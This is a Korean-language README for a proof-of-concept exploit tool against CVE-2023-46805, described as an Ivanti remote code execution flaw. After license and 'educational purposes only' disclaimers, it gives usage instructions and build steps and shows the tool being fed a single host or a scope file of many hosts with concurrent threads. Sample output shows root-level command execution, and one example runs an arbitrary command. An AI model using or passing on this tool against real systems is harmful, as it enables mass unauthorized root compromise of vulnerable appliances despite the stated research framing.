제목: CVE-2023-46805에 대한 개념 증명(PoC) - 교육 목적으로만 사용

라이선스: 본 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스(CC BY 4.0) 하에 제공됩니다. 저작자가 적절히 표시되는 조건으로 본 저작물을 공유, 복제, 배포, 전송하거나 개작 및 기타 목적으로 자유롭게 사용할 수 있습니다.

면책 조항: 본 개념 증명(PoC)은 교육 및 사이버보안 연구 목적으로만 제공됩니다. 저자, 소속 기관 또는 본 콘텐츠의 생성, 제작, 전달에 관여한 다른 어떤 당사자도 본 콘텐츠의 사용 또는 사용 불가로 인해 발생하는 직접, 간접, 부수적, 특별, 결과적 또는 징벌적 손해를 포함하되 이에 국한되지 않는 모든 손해에 대해 책임을 지지 않습니다.

교육 목적: 본 PoC는 사이버보안 커뮤니티가 CVE-2023-46805로 식별된 취약점을 이해하고 완화하는 데 도움을 주기 위한 것입니다. 프로덕션 환경이나 악의적인 활동에 사용해서는 안 됩니다.

취약점 설명: Ivanti 원격 코드 실행(RCE)

PoC 세부 정보:

Usage of ./CVE-Ivanti:
  -cmd string
        The command to replace 'id' in the payload (default "id")
  -t int
        Number of concurrent threads (default 5)

go build
echo "https://1.2.3.4" | ./CVE-Ivanti
https://1.2.3.4 {"error": "uid=0(root) gid=0(root) groups=0(root)\n"}

cat myscope.txt -t 5 | ./CVE-Ivanti
https://ssl1.mysite.com:443 {"error": "uid=0(root) gid=0(root) groups=0(root)\n"}
https://ssl3.mysite.com:443 {"error": "uid=0(root) gid=0(root) groups=0(root)\n"}

echo "https://1.2.3.4" | ./CVE-Ivanti -cmd 'ls /'

CVE-2023-46805

인기